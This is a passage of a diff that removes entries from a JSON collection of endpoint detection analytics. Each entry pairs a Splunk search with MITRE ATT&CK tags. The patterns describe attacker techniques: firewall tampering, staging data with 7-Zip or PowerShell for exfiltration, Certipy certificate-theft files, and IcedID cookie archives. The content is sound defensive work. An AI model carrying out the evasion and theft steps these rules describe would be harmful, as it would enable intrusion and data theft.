"name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - } - ] - } - }, - { - "name": "Firewall Allowed Program Enable", - "description": "The following analytic detects the modification of a firewall rule to allow the execution of a specific application. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events with command-line arguments related to firewall rule changes. This activity is significant as it may indicate an attempt to bypass firewall restrictions, potentially allowing unauthorized applications to communicate over the network. If confirmed malicious, this could enable an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the target environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*firewall*\" Processes.process = \"*allow*\" Processes.process = \"*add*\" Processes.process = \"*ENABLE*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `firewall_allowed_program_enable_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "BlackByte Ransomware", - "NjRAT", - "PlugX", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "firewall allowed program commandline $process$ of $process_name$ on $dest$ by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Iptables Firewall Modification", - "description": "The following analytic detects suspicious command-line activity that modifies the iptables firewall settings on a Linux machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command patterns that alter firewall rules to accept traffic on certain TCP ports. This activity is significant as it can indicate malware, such as CyclopsBlink, modifying firewall settings to allow communication with a Command and Control (C2) server. If confirmed malicious, this could enable attackers to maintain persistent access and exfiltrate data, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*iptables *\" AND Processes.process = \"* --dport *\" AND Processes.process = \"* ACCEPT*\" AND Processes.process = \"*&>/dev/null*\" AND Processes.process = \"* tcp *\" AND NOT(Processes.parent_process_path IN(\"/bin/*\", \"/lib/*\", \"/usr/bin/*\", \"/sbin/*\")) by Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest _time span=10s Processes.user Processes.parent_process_name Processes.parent_process_path Processes.process_path | rex field=Processes.process \"--dport (?3269|636|989|994|995|8443)\" | stats values(Processes.process) as processes_exec values(port) as ports values(Processes.process_guid) as guids values(Processes.process_id) as pids dc(port) as port_count count by Processes.process_name Processes.parent_process_name Processes.parent_process_id Processes.dest Processes.user Processes.parent_process_path Processes.process_path | where port_count >=3 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_iptables_firewall_modification_filter`", - "tags": { - "analytic_story": [ - "Cyclops Blink", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A process name - $process_name$ that may modify iptables firewall on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Stdout Redirection To Dev Null File", - "description": "The following analytic detects command-line activities that redirect stdout or stderr to the /dev/null file. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This behavior is significant as it can indicate attempts to hide command outputs, a technique observed in the CyclopsBlink malware to conceal modifications to iptables firewall settings. If confirmed malicious, this activity could allow an attacker to stealthily alter system configurations, potentially leading to unauthorized access or persistent control over the compromised machine.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*&>/dev/null*\" by Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest Processes.user Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_stdout_redirection_to_dev_null_file_filter`", - "tags": { - "analytic_story": [ - "Cyclops Blink", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ that redirect stdout to dev/null in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Processes launching netsh", - "description": "The following analytic identifies processes launching netsh.exe, a command-line utility used to modify network configurations. It detects this activity by analyzing data from Endpoint Detection and Response (EDR) agents, focusing on process GUIDs, names, parent processes, and command-line executions. This behavior is significant because netsh.exe can be exploited to execute malicious helper DLLs, serving as a persistence mechanism. If confirmed malicious, an attacker could gain persistent access, modify network settings, and potentially escalate privileges, posing a severe threat to the network's integrity and security.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) AS Processes.process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` by Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.user Processes.dest |`drop_dm_object_name(\"Processes\")` |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`processes_launching_netsh_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "DHS Report TA18-074A", - "Disabling Security Tools", - "Netsh Abuse", - "Snake Keylogger", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ has launched netsh with command-line $process$ on $dest$.", - "risk_score": 14, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Delete or Modify System Firewall", - "description": "The following analytic identifies 'netsh' processes that delete or modify firewall configurations. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing specific keywords. This activity is significant because it can indicate malware, such as NJRAT, attempting to alter firewall settings to evade detection or remove traces. If confirmed malicious, this behavior could allow an attacker to disable security measures, facilitating further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process = \"* firewall *\" Processes.process = \"* delete *\" by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_delete_or_modify_system_firewall_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A $process_name$ deleted a firewall configuration on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - } - ] - } - }, - { - "name": "Windows Modify System Firewall with Notable Process Path", - "description": "The following analytic detects suspicious modifications to system firewall rules, specifically allowing execution of applications from notable and potentially malicious file paths. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving firewall rule changes. This activity is significant as it may indicate an adversary attempting to bypass firewall restrictions to execute malicious files. If confirmed malicious, this could allow attackers to execute unauthorized code, potentially leading to further system compromise, data exfiltration, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*firewall*\" Processes.process = \"*allow*\" Processes.process = \"*add*\" Processes.process = \"*ENABLE*\" Processes.process IN (\"*\\\\windows\\\\fonts\\\\*\", \"*\\\\windows\\\\temp\\\\*\", \"*\\\\users\\\\public\\\\*\", \"*\\\\windows\\\\debug\\\\*\", \"*\\\\Users\\\\Administrator\\\\Music\\\\*\", \"*\\\\Windows\\\\servicing\\\\*\", \"*\\\\Users\\\\Default\\\\*\",\"*Recycle.bin*\", \"*\\\\Windows\\\\Media\\\\*\", \"\\\\Windows\\\\repair\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\PerfLogs\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_system_firewall_with_notable_process_path_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "firewall allowed program commandline $process$ of $process_name$ on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } } ], "external_reference": [ @@ -323774,794 +232260,6 @@ "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" ] - }, - { - "name": "7zip CommandLine To SMB Share Path", - "description": "The following analytic detects the execution of 7z or 7za processes with command lines pointing to SMB network shares. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as it may indicate an attempt to archive and exfiltrate sensitive files to a network share, a technique observed in CONTI LEAK tools. If confirmed malicious, this behavior could lead to data exfiltration, compromising sensitive information and potentially aiding further attacks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name =\"7z.exe\" OR Processes.process_name = \"7za.exe\" OR Processes.original_file_name = \"7z.exe\" OR Processes.original_file_name = \"7za.exe\") AND (Processes.process=\"*\\\\C$\\\\*\" OR Processes.process=\"*\\\\Admin$\\\\*\" OR Processes.process=\"*\\\\IPC$\\\\*\") by Processes.original_file_name Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.parent_process_id Processes.process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `7zip_commandline_to_smb_share_path_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "archive process $process_name$ with suspicious cmdline $process$ in host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Anomalous usage of 7zip", - "description": "The following analytic detects the execution of 7z.exe, a 7-Zip utility, spawned from rundll32.exe or dllhost.exe. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process names and parent processes. This activity is significant as it may indicate an adversary attempting to use 7-Zip for data exfiltration, often by renaming the executable to evade detection. If confirmed malicious, this could lead to unauthorized data archiving and exfiltration, compromising sensitive information and potentially leading to further system exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"rundll32.exe\", \"dllhost.exe\") Processes.process_name=*7z* by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `anomalous_usage_of_7zip_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "NOBELIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$. This behavior is indicative of suspicious loading of 7zip.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Certipy File Modifications", - "description": "The following analytic detects the use of the Certipy tool to enumerate Active Directory Certificate Services (AD CS) environments by identifying unique file modifications. It leverages endpoint process and filesystem data to spot the creation of files with specific names or extensions associated with Certipy's information gathering and exfiltration activities. This activity is significant as it indicates potential reconnaissance and data exfiltration efforts by an attacker. If confirmed malicious, this could lead to unauthorized access to sensitive AD CS information, enabling further attacks or privilege escalation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime values(Processes.process_current_directory) as process_current_directory FROM datamodel=Endpoint.Processes where Processes.action=\"allowed\" BY _time span=1h Processes.user Processes.dest Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.parent_process_name Processes.parent_process Processes.process_guid Processes.action |`drop_dm_object_name(Processes)` | join max=0 dest process_guid [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*_certipy.zip\", \"*_certipy.txt\", \"*_certipy.json\", \"*.ccache\") by Filesystem.file_create_time Filesystem.process_id Filesystem.process_guid Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` ] | fields firstTime lastTime user dest file_create_time file_name file_path parent_process_name parent_process process_name process_path process_current_directory process process_guid process_id | where isnotnull(file_name) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_certipy_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Ingress Tool Transfer", - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious files $file_name$ related to Certipy detected on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Renamed 7-Zip", - "description": "The following analytic detects the usage of a renamed 7-Zip executable using Sysmon data. It leverages the OriginalFileName field to identify instances where the 7-Zip process has been renamed. This activity is significant as attackers often rename legitimate tools to evade detection while staging or exfiltrating data. If confirmed malicious, this behavior could indicate data exfiltration attempts or other unauthorized data manipulation, potentially leading to significant data breaches or loss of sensitive information. Analysts should validate the legitimacy of the 7-Zip executable and investigate parallel processes for further suspicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.original_file_name=7z*.exe AND Processes.process_name!=7z*.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_renamed_7_zip_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ by $user$.", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Renamed WinRAR", - "description": "The following analytic identifies instances where `WinRAR.exe` has been renamed and executed. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names within the Endpoint data model. This activity is significant because renaming executables is a common tactic used by attackers to evade detection. If confirmed malicious, this could indicate an attempt to bypass security controls, potentially leading to unauthorized data extraction or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.original_file_name=WinRAR.exe (Processes.process_name!=rar.exe OR Processes.process_name!=winrar.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_renamed_winrar_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-277A", - "Collection and Staging" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ by $user$.", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "IcedID Exfiltrated Archived File Creation", - "description": "The following analytic detects the creation of suspicious files named passff.tar and cookie.tar, which are indicative of archived stolen browser information such as history and cookies on a machine compromised with IcedID. It leverages Sysmon EventCode 11 to identify these specific filenames. This activity is significant because it suggests that sensitive browser data has been exfiltrated, which could lead to further exploitation or data breaches. If confirmed malicious, this could allow attackers to access personal information, conduct further phishing attacks, or escalate their presence within the network.", - "search": "`sysmon` EventCode= 11 (TargetFilename = \"*\\\\passff.tar\" OR TargetFilename = \"*\\\\cookie.tar\") |stats count min(_time) as firstTime max(_time) as lastTime by TargetFilename EventCode process_id process_name dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `icedid_exfiltrated_archived_file_creation_filter`", - "tags": { - "analytic_story": [ - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Process $process_name$ create a file $TargetFilename$ on host $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1560.001", - "mitre_attack_technique": "Archive via Utility", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT33", - "APT39", - "APT41", - "APT5", - "Akira", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "CopyKittens", - "Earth Lusca", - "FIN13", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gallmaker", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Sowbug", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Archive Collected Data via Powershell", - "description": "The following analytic detects the use of PowerShell scripts to archive files into a temporary folder. It leverages PowerShell Script Block Logging, specifically monitoring for the `Compress-Archive` command targeting the `Temp` directory. This activity is significant as it may indicate an adversary's attempt to collect and compress data for exfiltration. If confirmed malicious, this behavior could lead to unauthorized data access and exfiltration, posing a severe risk to sensitive information and overall network security.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Compress-Archive*\" ScriptBlockText = \"*\\\\Temp\\\\*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | 